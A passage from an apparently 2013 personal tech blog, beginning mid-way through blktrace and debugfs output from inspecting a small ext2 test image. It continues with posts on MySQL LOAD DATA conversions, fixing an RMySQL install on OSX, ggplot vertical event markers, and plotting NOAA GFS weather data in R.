646 0.001793079 0 dd 32506 7,0 W 244 2 1024 Q
647 0.001794493 0 dd 32506 7,0 W 18 2 1024 Q
648 0.001794872 0 dd 32506 7,0 N 0 0 0 U
649 0.001803315 0 dd 32506 7,0 W 246 2 1024 Q
650 0.001804407 0 dd 32506 7,0 W 100 2 1024 Q
651 0.001804805 0 dd 32506 7,0 N 0 0 0 U
652 0.001808301 0 dd 32506 7,0 W 18 2 1024 Q
653 0.001809028 0 dd 32506 7,0 N 0 0 0 U
654 0.001815240 0 dd 32506 7,0 W 246 2 1024 Q
655 0.001816688 0 dd 32506 7,0 W 18 2 1024 Q
656 0.001817052 0 dd 32506 7,0 N 0 0 0 U
657 0.001824178 0 dd 32506 7,0 W 248 2 1024 Q
658 0.001825330 0 dd 32506 7,0 W 100 2 1024 Q
659 0.001825701 0 dd 32506 7,0 N 0 0 0 U
660 0.001829970 0 dd 32506 7,0 W 18 2 1024 Q
661 0.001830780 0 dd 32506 7,0 N 0 0 0 U
662 0.001836827 0 dd 32506 7,0 W 248 2 1024 Q
663 0.001838192 0 dd 32506 7,0 W 18 2 1024 Q
664 0.001838567 0 dd 32506 7,0 N 0 0 0 U
665 0.001845248 0 dd 32506 7,0 W 250 2 1024 Q
666 0.001846332 0 dd 32506 7,0 W 100 2 1024 Q
667 0.001846692 0 dd 32506 7,0 N 0 0 0 U
668 0.001850559 0 dd 32506 7,0 W 18 2 1024 Q
669 0.001851373 0 dd 32506 7,0 N 0 0 0 U
670 0.001856973 0 dd 32506 7,0 W 250 2 1024 Q
671 0.001858391 0 dd 32506 7,0 W 18 2 1024 Q
672 0.001858751 0 dd 32506 7,0 N 0 0 0 U
673 0.001865672 0 dd 32506 7,0 W 252 2 1024 Q
674 0.001866718 0 dd 32506 7,0 W 100 2 1024 Q
675 0.001867187 0 dd 32506 7,0 N 0 0 0 U
676 0.001870702 0 dd 32506 7,0 W 18 2 1024 Q
677 0.001871497 0 dd 32506 7,0 N 0 0 0 U
678 0.001877052 0 dd 32506 7,0 W 252 2 1024 Q
679 0.001878395 0 dd 32506 7,0 W 18 2 1024 Q
680 0.001878725 0 dd 32506 7,0 N 0 0 0 U
681 0.001887510 0 dd 32506 7,0 W 254 2 1024 Q
682 0.001888650 0 dd 32506 7,0 W 100 2 1024 Q
683 0.001888995 0 dd 32506 7,0 N 0 0 0 U
684 0.001892431 0 dd 32506 7,0 W 18 2 1024 Q
685 0.001893215 0 dd 32506 7,0 N 0 0 0 U
686 0.001899960 0 dd 32506 7,0 W 254 2 1024 Q
687 0.001901448 0 dd 32506 7,0 W 18 2 1024 Q
688 0.001901813 0 dd 32506 7,0 N 0 0 0 U
689 0.001908864 0 dd 32506 7,0 W 256 2 1024 Q
690 0.001909975 0 dd 32506 7,0 W 100 2 1024 Q
691 0.001910346 0 dd 32506 7,0 N 0 0 0 U
692 0.001914258 0 dd 32506 7,0 W 18 2 1024 Q
693 0.001914963 0 dd 32506 7,0 N 0 0 0 U
694 0.001920995 0 dd 32506 7,0 W 256 2 1024 Q
695 0.001922405 0 dd 32506 7,0 W 18 2 1024 Q
696 0.001922822 0 dd 32506 7,0 N 0 0 0 U
697 0.001929273 0 dd 32506 7,0 W 258 2 1024 Q
698 0.001930335 0 dd 32506 7,0 W 100 2 1024 Q
699 0.001930766 0 dd 32506 7,0 N 0 0 0 U
700 0.001934461 0 dd 32506 7,0 W 18 2 1024 Q
701 0.001935354 0 dd 32506 7,0 N 0 0 0 U
702 0.001940838 0 dd 32506 7,0 W 258 2 1024 Q
703 0.001942214 0 dd 32506 7,0 W 18 2 1024 Q
704 0.001942559 0 dd 32506 7,0 N 0 0 0 U
705 0.001948898 0 dd 32506 7,0 W 260 2 1024 Q
706 0.001949968 0 dd 32506 7,0 W 100 2 1024 Q
707 0.001950391 0 dd 32506 7,0 N 0 0 0 U
708 0.001954086 0 dd 32506 7,0 W 18 2 1024 Q
709 0.001954870 0 dd 32506 7,0 N 0 0 0 U
710 0.001960256 0 dd 32506 7,0 W 260 2 1024 Q
711 0.001961641 0 dd 32506 7,0 W 18 2 1024 Q
712 0.001961986 0 dd 32506 7,0 N 0 0 0 U
713 0.001970298 0 dd 32506 7,0 W 262 2 1024 Q
714 0.001971344 0 dd 32506 7,0 W 100 2 1024 Q
715 0.001971776 0 dd 32506 7,0 N 0 0 0 U
716 0.001975249 0 dd 32506 7,0 W 18 2 1024 Q
717 0.001976029 0 dd 32506 7,0 N 0 0 0 U
718 0.001982185 0 dd 32506 7,0 W 262 2 1024 Q
719 0.001983884 0 dd 32506 7,0 W 18 2 1024 Q
720 0.001984319 0 dd 32506 7,0 N 0 0 0 U
721 0.001990954 0 dd 32506 7,0 W 264 2 1024 Q
722 0.001992110 0 dd 32506 7,0 W 100 2 1024 Q
723 0.001992500 0 dd 32506 7,0 N 0 0 0 U
724 0.001996705 0 dd 32506 7,0 W 18 2 1024 Q
725 0.001997504 0 dd 32506 7,0 N 0 0 0 U
726 0.002003558 0 dd 32506 7,0 W 264 2 1024 Q
727 0.002004908 0 dd 32506 7,0 W 18 2 1024 Q
728 0.002005238 0 dd 32506 7,0 N 0 0 0 U
729 0.002011817 0 dd 32506 7,0 W 266 2 1024 Q
730 0.002012894 0 dd 32506 7,0 W 100 2 1024 Q
731 0.002013247 0 dd 32506 7,0 N 0 0 0 U
732 0.002016757 0 dd 32506 7,0 W 18 2 1024 Q
733 0.002017545 0 dd 32506 7,0 N 0 0 0 U
734 0.002023250 0 dd 32506 7,0 W 266 2 1024 Q
735 0.002024725 0 dd 32506 7,0 W 18 2 1024 Q
736 0.002025066 0 dd 32506 7,0 N 0 0 0 U
737 0.002031892 0 dd 32506 7,0 W 268 2 1024 Q
738 0.002032924 0 dd 32506 7,0 W 100 2 1024 Q
739 0.002033385 0 dd 32506 7,0 N 0 0 0 U
740 0.002036971 0 dd 32506 7,0 W 18 2 1024 Q
741 0.002037729 0 dd 32506 7,0 N 0 0 0 U
742 0.002043277 0 dd 32506 7,0 W 268 2 1024 Q
743 0.002044612 0 dd 32506 7,0 W 18 2 1024 Q
744 0.002044983 0 dd 32506 7,0 N 0 0 0 U
745 0.002053746 0 dd 32506 7,0 W 270 2 1024 Q
746 0.002054893 0 dd 32506 7,0 W 100 2 1024 Q
747 0.002055246 0 dd 32506 7,0 N 0 0 0 U
748 0.002058776 0 dd 32506 7,0 W 18 2 1024 Q
749 0.002059481 0 dd 32506 7,0 N 0 0 0 U
750 0.002065978 0 dd 32506 7,0 W 270 2 1024 Q
751 0.002067508 0 dd 32506 7,0 W 18 2 1024 Q
752 0.002067872 0 dd 32506 7,0 N 0 0 0 U
753 0.002074905 0 dd 32506 7,0 W 272 2 1024 Q
754 0.002075970 0 dd 32506 7,0 W 100 2 1024 Q
755 0.002076323 0 dd 32506 7,0 N 0 0 0 U
756 0.002080303 0 dd 32506 7,0 W 18 2 1024 Q
757 0.002080997 0 dd 32506 7,0 N 0 0 0 U
758 0.002086938 0 dd 32506 7,0 W 272 2 1024 Q
759 0.002088386 0 dd 32506 7,0 W 18 2 1024 Q
760 0.002088784 0 dd 32506 7,0 N 0 0 0 U
761 0.002095291 0 dd 32506 7,0 W 274 2 1024 Q
762 0.002096357 0 dd 32506 7,0 W 100 2 1024 Q
763 0.002096739 0 dd 32506 7,0 N 0 0 0 U
764 0.002100352 0 dd 32506 7,0 W 18 2 1024 Q
765 0.002101087 0 dd 32506 7,0 N 0 0 0 U
766 0.002106616 0 dd 32506 7,0 W 274 2 1024 Q
767 0.002107966 0 dd 32506 7,0 W 18 2 1024 Q
768 0.002108307 0 dd 32506 7,0 N 0 0 0 U
769 0.002114658 0 dd 32506 7,0 W 276 2 1024 Q
770 0.002115787 0 dd 32506 7,0 W 100 2 1024 Q
771 0.002116203 0 dd 32506 7,0 N 0 0 0 U
772 0.002119752 0 dd 32506 7,0 W 18 2 1024 Q
773 0.002120521 0 dd 32506 7,0 N 0 0 0 U
774 0.002126076 0 dd 32506 7,0 W 276 2 1024 Q
775 0.002127392 0 dd 32506 7,0 W 18 2 1024 Q
776 0.002127726 0 dd 32506 7,0 N 0 0 0 U
777 0.002136147 0 dd 32506 7,0 W 278 2 1024 Q
778 0.002137242 0 dd 32506 7,0 W 100 2 1024 Q
779 0.002137666 0 dd 32506 7,0 N 0 0 0 U
780 0.002141072 0 dd 32506 7,0 W 18 2 1024 Q
781 0.002141931 0 dd 32506 7,0 N 0 0 0 U
782 0.002147985 0 dd 32506 7,0 W 278 2 1024 Q
783 0.002149459 0 dd 32506 7,0 W 18 2 1024 Q
784 0.002149846 0 dd 32506 7,0 N 0 0 0 U
785 0.002156744 0 dd 32506 7,0 W 280 2 1024 Q
786 0.002157873 0 dd 32506 7,0 W 100 2 1024 Q
787 0.002158229 0 dd 32506 7,0 N 0 0 0 U
788 0.002162055 0 dd 32506 7,0 W 18 2 1024 Q
789 0.002162873 0 dd 32506 7,0 N 0 0 0 U
790 0.002169017 0 dd 32506 7,0 W 280 2 1024 Q
791 0.002170476 0 dd 32506 7,0 W 18 2 1024 Q
792 0.002170821 0 dd 32506 7,0 N 0 0 0 U
793 0.002177457 0 dd 32506 7,0 W 282 2 1024 Q
794 0.002178560 0 dd 32506 7,0 W 100 2 1024 Q
795 0.002178968 0 dd 32506 7,0 N 0 0 0 U
796 0.002182749 0 dd 32506 7,0 W 18 2 1024 Q
797 0.002183477 0 dd 32506 7,0 N 0 0 0 U
798 0.002189006 0 dd 32506 7,0 W 282 2 1024 Q
799 0.002190446 0 dd 32506 7,0 W 18 2 1024 Q
800 0.002190851 0 dd 32506 7,0 N 0 0 0 U
801 0.002197626 0 dd 32506 7,0 W 284 2 1024 Q
802 0.002198683 0 dd 32506 7,0 W 100 2 1024 Q
803 0.002199088 0 dd 32506 7,0 N 0 0 0 U
804 0.002202656 0 dd 32506 7,0 W 18 2 1024 Q
805 0.002203474 0 dd 32506 7,0 N 0 0 0 U
806 0.002208871 0 dd 32506 7,0 W 284 2 1024 Q
807 0.002210210 0 dd 32506 7,0 W 18 2 1024 Q
808 0.002210570 0 dd 32506 7,0 N 0 0 0 U
809 0.002219494 0 dd 32506 7,0 W 286 2 1024 Q
810 0.002220597 0 dd 32506 7,0 W 100 2 1024 Q
811 0.002220953 0 dd 32506 7,0 N 0 0 0 U
812 0.002224532 0 dd 32506 7,0 W 18 2 1024 Q
813 0.002225218 0 dd 32506 7,0 N 0 0 0 U
814 0.002231895 0 dd 32506 7,0 W 286 2 1024 Q
815 0.002233695 0 dd 32506 7,0 W 18 2 1024 Q
816 0.002234048 0 dd 32506 7,0 N 0 0 0 U
817 0.002241114 0 dd 32506 7,0 W 288 2 1024 Q
818 0.002242139 0 dd 32506 7,0 W 100 2 1024 Q
819 0.002242555 0 dd 32506 7,0 N 0 0 0 U
820 0.002246486 0 dd 32506 7,0 W 18 2 1024 Q
821 0.002247214 0 dd 32506 7,0 N 0 0 0 U
822 0.002253174 0 dd 32506 7,0 W 288 2 1024 Q
823 0.002254565 0 dd 32506 7,0 W 18 2 1024 Q
824 0.002255004 0 dd 32506 7,0 N 0 0 0 U
825 0.002262510 0 dd 32506 7,0 W 290 2 1024 Q
826 0.002263545 0 dd 32506 7,0 W 100 2 1024 Q
827 0.002263939 0 dd 32506 7,0 N 0 0 0 U
828 0.002267499 0 dd 32506 7,0 W 18 2 1024 Q
829 0.002268249 0 dd 32506 7,0 N 0 0 0 U
1 7.857215522 1 pdflush 152 7,0 W 48 2 1024 Q
2 7.857270628 1 pdflush 152 7,0 W 2 2 1024 Q
3 7.857271085 1 pdflush 152 7,0 W 4 2 1024 Q
4 7.857272312 1 pdflush 152 7,0 W 12 2 1024 Q
5 7.857272698 1 pdflush 152 7,0 W 14 2 1024 Q
6 7.857274082 1 pdflush 152 7,0 W 16 2 1024 Q
7 7.857274491 1 pdflush 152 7,0 W 18 2 1024 Q
8 78.490895097 1 pdflush 152 7,0 W 16 2 1024 Q
CPU0 (7,0):
Reads Queued: 0, 0KiB Writes Queued: 521, 521KiB
Read Dispatches: 0, 0KiB Write Dispatches: 0, 0KiB
Reads Requeued: 0 Writes Requeued: 0
Reads Completed: 0, 0KiB Writes Completed: 0, 0KiB
Read Merges: 0, 0KiB Write Merges: 0, 0KiB
Read depth: 0 Write depth: 0
IO unplugs: 308 Timer unplugs: 0
CPU1 (7,0):
Reads Queued: 0, 0KiB Writes Queued: 8, 8KiB
Read Dispatches: 0, 0KiB Write Dispatches: 0, 0KiB
Reads Requeued: 0 Writes Requeued: 0
Reads Completed: 0, 0KiB Writes Completed: 0, 0KiB
Read Merges: 0, 0KiB Write Merges: 0, 0KiB
Read depth: 0 Write depth: 0
IO unplugs: 0 Timer unplugs: 0
Total (7,0):
Reads Queued: 0, 0KiB Writes Queued: 529, 529KiB
Read Dispatches: 0, 0KiB Write Dispatches: 0, 0KiB
Reads Requeued: 0 Writes Requeued: 0
Reads Completed: 0, 0KiB Writes Completed: 0, 0KiB
Read Merges: 0, 0KiB Write Merges: 0, 0KiB
IO unplugs: 308 Timer unplugs: 0
Throughput (R/W): 0KiB/s / 0KiB/s
Events (7,0): 837 entries
Skips: 0 forward (0 - 0.0%)
view raw blktrace.output hosted with ❤ by GitHub
Debugfs and dumpe2fs:
# /sbin/dumpe2fs /tmp/zeros
dumpe2fs 1.39 (29-May-2006)
Filesystem volume name: <none>
Last mounted on: <not available>
Filesystem UUID: 883f7cd8-c8cc-44cf-9e86-ba36519e4b49
Filesystem magic number: 0xEF53
Filesystem revision #: 1 (dynamic)
Filesystem features: resize_inode dir_index filetype sparse_super
Default mount options: (none)
Filesystem state: not clean
Errors behavior: Continue
Filesystem OS type: Linux
Inode count: 128
Block count: 1024
Reserved block count: 51
Free blocks: 986
Free inodes: 117
First block: 1
Block size: 1024
Fragment size: 1024
Reserved GDT blocks: 3
Blocks per group: 8192
Fragments per group: 8192
Inodes per group: 128
Inode blocks per group: 16
Filesystem created: Wed Oct 9 14:42:29 2013
Last mount time: Fri Oct 11 16:08:29 2013
Last write time: Fri Oct 11 18:28:21 2013
Mount count: 2
Maximum mount count: 37
Last checked: Wed Oct 9 14:42:29 2013
Check interval: 15552000 (6 months)
Next check after: Mon Apr 7 14:42:29 2014
Reserved blocks uid: 0 (user root)
Reserved blocks gid: 0 (group root)
First inode: 11
Inode size: 128
Default directory hash: tea
Directory Hash Seed: dd5c49d9-c270-4fca-a141-b389183a6089
Group 0: (Blocks 1-1023)
Primary superblock at 1, Group descriptors at 2-2
Reserved GDT blocks at 3-5
Block bitmap at 6 (+5), Inode bitmap at 7 (+6)
Inode table at 8-23 (+7)
878 free blocks, 116 free inodes, 2 directories
Free blocks: 146-1023
Free inodes: 13-128
# /sbin/debugfs /tmp/zeros
debugfs 1.39 (29-May-2006)
debugfs: ?
Available debugfs requests:
show_debugfs_params, params
Show debugfs parameters
open_filesys, open Open a filesystem
close_filesys, close Close the filesystem
feature, features Set/print superblock features
dirty_filesys, dirty Mark the filesystem as dirty
init_filesys Initalize a filesystem (DESTROYS DATA)
show_super_stats, stats Show superblock statistics
ncheck Do inode->name translation
icheck Do block->inode translation
change_root_directory, chroot
Change root directory
change_working_directory, cd
Change working directory
list_directory, ls List directory
show_inode_info, stat Show inode information
link, ln Create directory link
unlink Delete a directory link
mkdir Create a directory
rmdir Remove a directory
rm Remove a file (unlink and kill_file, if appropriate)
kill_file Deallocate an inode and its blocks
clri Clear an inode's contents
freei Clear an inode's in-use flag
seti Set an inode's in-use flag
testi Test an inode's in-use flag
freeb Clear a block's in-use flag
setb Set a block's in-use flag
testb Test a block's in-use flag
modify_inode, mi Modify an inode by structure
find_free_block, ffb Find free block(s)
find_free_inode, ffi Find free inode(s)
print_working_directory, pwd
Print current working directory
...skipping one line
mknod Create a special file
list_deleted_inodes, lsdel
List deleted inodes
undelete, undel Undelete file
write Copy a file from your native filesystem
dump_inode, dump Dump an inode out to a file
cat Dump an inode out to stdout
lcd Change the current directory on your native filesystem
rdump Recursively dump a directory to the native filesystem
set_super_value, ssv Set superblock value
set_inode_field, sif Set inode field
logdump Dump the contents of the journal
htree_dump, htree Dump a hash-indexed directory
dx_hash, hash Calculate the directory hash of a filename
dirsearch Search a directory for a particular filename
bmap Calculate the logical->physical block mapping for an inode
imap Calculate the location of an inode
dump_unused Dump unused blocks
set_current_time Set current time to use when setting filesystme fields
help Display info on command or topic.
list_requests, lr, ? List available commands.
quit, q Leave the subsystem.
debugfs: ls
2 (12) . 2 (12) .. 11 (20) lost+found 12 (980) blktrace
debugfs: stat blktrace
Inode: 12 Type: regular Mode: 0644 Flags: 0x0 Generation: 2039396507
User: 0 Group: 0 Size: 108740
File ACL: 0 Directory ACL: 0
Links: 1 Blockcount: 216
Fragment: Address: 0 Number: 0 Size: 0
ctime: 0x52582724 -- Fri Oct 11 18:28:20 2013
atime: 0x52581985 -- Fri Oct 11 17:30:13 2013
mtime: 0x52582724 -- Fri Oct 11 18:28:20 2013
BLOCKS:
(0-11):38-49, (IND):50, (12-106):51-145
TOTAL: 108
debugfs: bmap blktrace 0
38
debugfs: bmap blktrace 108
0
debugfs: bmap blktrace 107
0
debugfs: bmap blktrace 105
144
debugfs: bmap blktrace 106
145
debugfs: testb 145
Block 145 marked in use
debugfs: testb 146
Block 146 not in use
debugfs: icheck 145
Block Inode number
145 12
debugfs: ncheck 12
Inode Pathname
12 /blktrace
view raw gistfile1.txt hosted with ❤ by GitHub

Thursday, October 10, 2013

MYSQL load data: Stripping out zulu time and converting ip addresses to unsigned ints.

Snip for me: Storing IP addresses compactly in MySQL
-- Loads IPs as an unsgined int (create table :: ip int(10) unsigned NOT NULL)
-- Trims out the zulu time timezone indicator 'Z' e.g. (2013-07-31T18:41:38Z,).
-- See http://en.wikipedia.org/wiki/Coordinated_Universal_Time
load data local infile 'xxxxx'
into table blah
fields terminated by ','
ignore 1 lines
(a, @ip, b, @ts1, @ts2)
set ip=inet_aton(@ip),
ts1=replace(@ts1, 'Z', ''),
ts2=replace(@ts2, 'Z', '');
view raw load_data.sql hosted with ❤ by GitHub

Saturday, October 5, 2013

RMySQL on OSX

I ran into an issue installing RMySQL on OSX. I am using a R from brew and MySQL from the Oracle download page. Trying to install RMySQL would throw up this error

** installing vignettes
** testing if installed package can be loaded
Error : .onLoad failed in loadNamespace() for 'RMySQL', details:
call: dyn.load(file, DLLpath = DLLpath, ...)
error: unable to load shared object '/usr/local/Cellar/r/3.0.1/R.framework/Versions/3.0/Resources/library/RMySQL/libs/RMySQL.so':
dlopen(/usr/local/Cellar/r/3.0.1/R.framework/Versions/3.0/Resources/library/RMySQL/libs/RMySQL.so, 6): Library not loaded: libmysqlclient.18.dylib
Referenced from: /usr/local/Cellar/r/3.0.1/R.framework/Versions/3.0/Resources/library/RMySQL/libs/RMySQL.so
Reason: image not found
Error: loading failed
Execution halted
ERROR: loading failed
* removing ‘/usr/local/Cellar/r/3.0.1/R.framework/Versions/3.0/Resources/library/RMySQL’
sh-3.2# R CMD INSTALL /private/var/folders/n0/4_22_21n66x537xg2kdnc618m0j889/T/RtmpehnXuM/downloaded_packages/RMySQL_0.9-3.tar.gz -h
Loading required package: stats
Usage: R CMD INSTALL [options] pkgs
view raw gistfile1.txt hosted with ❤ by GitHub
Turns out that the right solution is really easy. Set your MySQL home R env var, make sure that libmysqlclient can be found by R, configure the RMySQL package with the proper inc & lib dirs for MySQL

# Find your R home
$ echo "R.home()" | Rscript /dev/stdin
Loading required package: stats
Loading required package: methods
[1] "/usr/local/Cellar/r/3.0.1/R.framework/Resources"
# Make sure that you have the MySQL home var in your Renviron
$ fgrep MYSQL_HOME /usr/local/Cellar/r/3.0.1/R.framework/Resources/etc/Renviron
MYSQL_HOME="/usr/local/mysql-5.6.12-osx10.7-x86_64/"
#### This step trips up everyone ####
# Make sure that the libmysqlclient dynamic lib is in your R lib path by
# 1. Get the dll path
$ echo "Sys.getenv('DYLD_FALLBACK_LIBRARY_PATH')" | Rscript /dev/stdin
Loading required package: stats
Loading required package: methods
[1] "/usr/local/Cellar/r/3.0.1/R.framework/Resources/lib"
# 2. Symlink your libmysqlclient
$ ln -s /usr/local/mysql-5.6.12-osx10.7-x86_64/lib/libmysqlclient.18.dylib /usr/local/Cellar/r/3.0.1/R.framework/Resources/lib
# 3. Install the package
$ export PKG_LIBS="-L/usr/local/mysql-5.6.12-osx10.7-x86_64/lib/ -lmysqlclient"
$ export PKG_CPPFLAGS="-I/usr/local/mysql-5.6.12-osx10.7-x86_64/include/"
$ R CMD INSTALL RMySQL.tar.gz
...
...
** installing vignettes
** testing if installed package can be loaded
* DONE (RMySQL)
view raw RMySQL_works.sh hosted with ❤ by GitHub
Tests!
> library("RMySQL")
Attaching package: ‘RMySQL’
The following object is masked from ‘package:RSQLite’:
dbBuildTableDefinition, isIdCurrent, safe.write
> library("RMySQL")
> m <- dbDriver("MySQL")
> con <- dbConnect(m, user="root", host="localhost")
> rs <- dbSendQuery(con, "show databases")
> fetch(rs, n=100)
Database
1 information_schema
2 xxxxxxxxxx
3 mysql
4 performance_schema
5 test
> rs <- dbSendQuery(con, "select * from information_schema.STATISTICS limit 5;")
> fetch(rs, n=100)
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME NON_UNIQUE INDEX_SCHEMA INDEX_NAME SEQ_IN_INDEX COLUMN_NAME COLLATION CARDINALITY SUB_PART PACKED NULLABLE INDEX_TYPE COMMENT
1 def mysql columns_priv 0 mysql PRIMARY 1 Host A NA NA <NA> BTREE
2 def mysql columns_priv 0 mysql PRIMARY 2 Db A NA NA <NA> BTREE
3 def mysql columns_priv 0 mysql PRIMARY 3 User A NA NA <NA> BTREE
4 def mysql columns_priv 0 mysql PRIMARY 4 Table_name A NA NA <NA> BTREE
5 def mysql columns_priv 0 mysql PRIMARY 5 Column_name A 0 NA <NA> BTREE
INDEX_COMMENT
view raw tests.r hosted with ❤ by GitHub

Friday, April 5, 2013

Vertical line markers in R using geom_vline

Say you have a two data sets that share a common dimension/axis only.  Here's an example:

# Event csv
timestamp,event
2013-04-03 22:59:05.061Z,A
2013-04-03 22:59:05.061Z,B
2013-04-03 22:59:07.109Z,C
2013-04-03 22:59:07.115Z,D
2013-04-03 22:59:07.209Z,E

# Performance data
hostname;interval;timestamp;CPU;user;nice;system;iowait;steal;idle
box1;1;2013-04-03 22:59:02 UTC;-1;10.53;0.00;2.01;0.50;0.00;86.97
box1;1;2013-04-03 22:59:03 UTC;-1;0.25;0.00;0.00;0.00;0.00;99.75
box1;1;2013-04-03 22:59:04 UTC;-1;0.00;0.00;0.25;0.25;0.00;99.50
box1;1;2013-04-03 22:59:05 UTC;-1;10.72;0.00;1.00;0.25;0.00;88.03
box1;1;2013-04-03 22:59:06 UTC;-1;10.67;0.00;10.67;0.00;0.25;78.41
box1;1;2013-04-03 22:59:07 UTC;-1;5.01;0.00;9.02;3.51;0.00;82.46
box1;1;2013-04-03 22:59:08 UTC;-1;12.28;0.00;11.53;4.26;0.25;71.68
box1;1;2013-04-03 22:59:09 UTC;-1;15.88;0.00;11.66;10.92;0.50;61.04
You'd like to plot these values on one graph; one overlaid over the other. Based on the data from the example above, you'd like to plot the CPU user against the timestamp metric, then you'd like to add in markers to show events over the chart.

Here's a gist:
events <- read.csv("events.csv")
> head(events)
timestamp event
1 2013-04-03 22:59:05.061Z A
2 2013-04-03 22:59:05.061Z B
3 2013-04-03 22:59:07.109Z C
4 2013-04-03 22:59:07.115Z D
5 2013-04-03 22:59:07.209Z E
performance <- read.csv("performance.csv", header=TRUE,sep=";")
> head(performance)
hostname interval timestamp CPU user nice system iowait steal idle
1 box1 1 2013-04-03 22:59:02 UTC -1 10.53 0 2.01 0.50 0.00 86.97
2 box1 1 2013-04-03 22:59:03 UTC -1 0.25 0 0.00 0.00 0.00 99.75
3 box1 1 2013-04-03 22:59:04 UTC -1 0.00 0 0.25 0.25 0.00 99.50
4 box1 1 2013-04-03 22:59:05 UTC -1 10.72 0 1.00 0.25 0.00 88.03
5 box1 1 2013-04-03 22:59:06 UTC -1 10.67 0 10.67 0.00 0.25 78.41
6 box1 1 2013-04-03 22:59:07 UTC -1 5.01 0 9.02 3.51 0.00 82.46
performance$timestamp <- as.POSIXlt(perfomance$timestamp)
events$timestamp <- as.POSIXlt(events$timestamp)
> str(performance)
'data.frame': 8 obs. of 10 variables:
$ hostname : Factor w/ 1 level "box1": 1 1 1 1 1 1 1 1
$ interval : int 1 1 1 1 1 1 1 1
$ timestamp: Factor w/ 8 levels "2013-04-03 22:59:02 UTC",..: 1 2 3 4 5 6 7 8
$ CPU : int -1 -1 -1 -1 -1 -1 -1 -1
$ user : num 10.53 0.25 0 10.72 10.67 ...
$ nice : num 0 0 0 0 0 0 0 0
$ system : num 2.01 0 0.25 1 10.67 ...
$ iowait : num 0.5 0 0.25 0.25 0 ...
$ steal : num 0 0 0 0 0.25 0 0.25 0.5
$ idle : num 87 99.8 99.5 88 78.4 ...
# Plot the first dataset. Two line plots sharing the same X axis.
p <- ggplot(data=performance, aes(x=timestamp)) + geom_line(aes(y=idle, colour="% cpu idle")) + geom_line(aes(y=user, colour="% cpu user")) + scale_x_datetime(labels = date_format("%H:%M:%S"))
# Plot the vertical lines
p + geom_vline(data=events, linetype=4, aes(colour=factor(event),xintercept=as.numeric(timestamp)) )


 Obviously, we need a better legend, y axis label and a title for this graph.. That's left as an exercise.

Tuesday, April 2, 2013

R and GFS.

Playing with NOAA's GFS data with R.

Credit:

Here are some sample images.



Pre-requisites

  • Fetched data from NOAA (in particular this dataset).
  • Installed wgrib2.
  • Extracted the fields I was interested in from the grib2 file into netcdf
./grib2/wgrib2/wgrib2  -s  gfs.t12z.sfluxgrbf03.grib2  | grep :LAND | ./grib2/wgrib2/wgrib2 -i gfs.t12z.sfluxgrbf03.grib2 -netcdf land.netcdf
./grib2/wgrib2/wgrib2  -s  gfs.t12z.sfluxgrbf03.grib2  | grep TMP:2 | ./grib2/wgrib2/wgrib2 -i gfs.t12z.sfluxgrbf03.grib2 -netcdf temp2.netcdf
./grib2/wgrib2/wgrib2  -s  gfs.t12z.sfluxgrbf03.grib2  | grep VEG: | ./grib2/wgrib2/wgrib2 -i gfs.t12z.sfluxgrbf03.grib2 -netcdf vegetation.netcdf
./grib2/wgrib2/wgrib2  -s  gfs.t12z.sfluxgrbf03.grib2  | grep TCDC: | ./grib2/wgrib2/wgrib2 -i gfs.t12z.sfluxgrbf03.grib2 -netcdf cloud.netcdf

  • You can also view the available fields using:
./grib2/wgrib2/wgrib2  -s  gfs.t12z.sfluxgrbf03.grib2  | less

Having fun

Started R and installed netcdf and fields:
install.packages('ncdf')
install.packages('fields')
Then used the following gist in R.
# load datasets
library(fields)
library(ncdf)
# Load land data
landFrac <-open.ncdf("land.netcdf")
land <- get.var.ncdf(landFrac,"LAND_surface")
x <- get.var.ncdf(landFrac,"longitude")
y <- get.var.ncdf(landFrac,"latitude")
# Load temp data
tempFrac <-open.ncdf("temp2.netcdf")
# Temperature 2 metres above ground
temp_k <- get.var.ncdf(tempFrac, "TMP_2maboveground")
temp_c <- temp_k - 273.15 # Kelvins to Centigrade
# Palette for temp data
rgb.palette.temp <- colorRampPalette(c("snow1","snow2","snow3","seagreen","orange","firebrick"), space = "rgb")
# View temp plot
image.plot(x,y,temp_c,col=rgb.palette.temp(200),axes=F,main=as.expression(paste("GFS 24hr Average 2M Temperature ",format(Sys.time(), "%Y-%m-%d") ," 03 UTC",sep="")), legend.lab="o C")
# save plot to file
png("/tmp/temp.png", 1600, 800)
image.plot(x,y,temp_c,col=rgb.palette.temp(200),axes=F,main=as.expression(paste("GFS 24hr Average 2M Temperature ",format(Sys.time(), "%Y-%m-%d") ," 03 UTC",sep="")), legend.lab="o C")
dev.off()
# Vegetation
vegFrac <-open.ncdf("vegetation.netcdf")
vegetation <- get.var.ncdf(vegFrac, "VEG_surface")
# Truncate unrealistic values
vegetation[vegetation > 100000] <- 0
# Palette
rgb.palette.veg <- colorRampPalette(c("seashell","firebrick","orange","seagreen"), space = "rgb")
# Plot
image.plot(x,y,vegetation,col=rgb.palette.veg(100),axes=F,main=as.expression(paste("Percentage of land under vegetation cover",format(Sys.time(), "%Y-%m-%d") ," 03 UTC",sep="")), legend.lab="coverage %")
# Or save png
png("/tmp/vegetation.png", 1600, 800)
image.plot(x,y,vegetation,col=rgb.palette.veg(100),axes=F,main=as.expression(paste("Percentage of land under vegetation cover",format(Sys.time(), "%Y-%m-%d") ," 03 UTC",sep="")), legend.lab="coverage %")
dev.off()
# Cloudiness
cloudFrac <-open.ncdf("cloud.netcdf")
lowclouds <- get.var.ncdf(cloudFrac, "TCDC_lowcloudlayer")
rgb.palette.clouds <- colorRampPalette(c("royalblue1", "lightskyblue", "lightsteelblue1", "papayawhip","snow"), space = "rgb")
# Preview
image.plot(x,y, lowclouds, col=rgb.palette.veg(100),axes=F,main=as.expression(paste("Percentage of total cloud cover (low clouds) ",format(Sys.time(), "%Y-%m-%d") ," 03 UTC",sep="")), legend.lab="coverage %")
image.plot(x,y, lowclouds, col=rgb.palette.clouds(100),axes=F,main=as.expression(paste("Percentage of total cloud cover (low clouds) ",format(Sys.time(), "%Y-%m-%d") ," 03 UTC",sep="")), legend.lab="coverage %")
contour(x,y,land,add=TRUE,lwd=1,levels=0.99,drawlabels=FALSE,col="grey30") #add land outlineland2 <- get.var.ncdf(landFrac2, "LAND_surface")
# Save png
png("/tmp/lowclouds.png", 1600, 800)
image.plot(x,y, lowclouds, col=rgb.palette.clouds(100),axes=F,main=as.expression(paste("Percentage of total cloud cover (low clouds) ",format(Sys.time(), "%Y-%m-%d") ," 03 UTC",sep="")), legend.lab="coverage %")
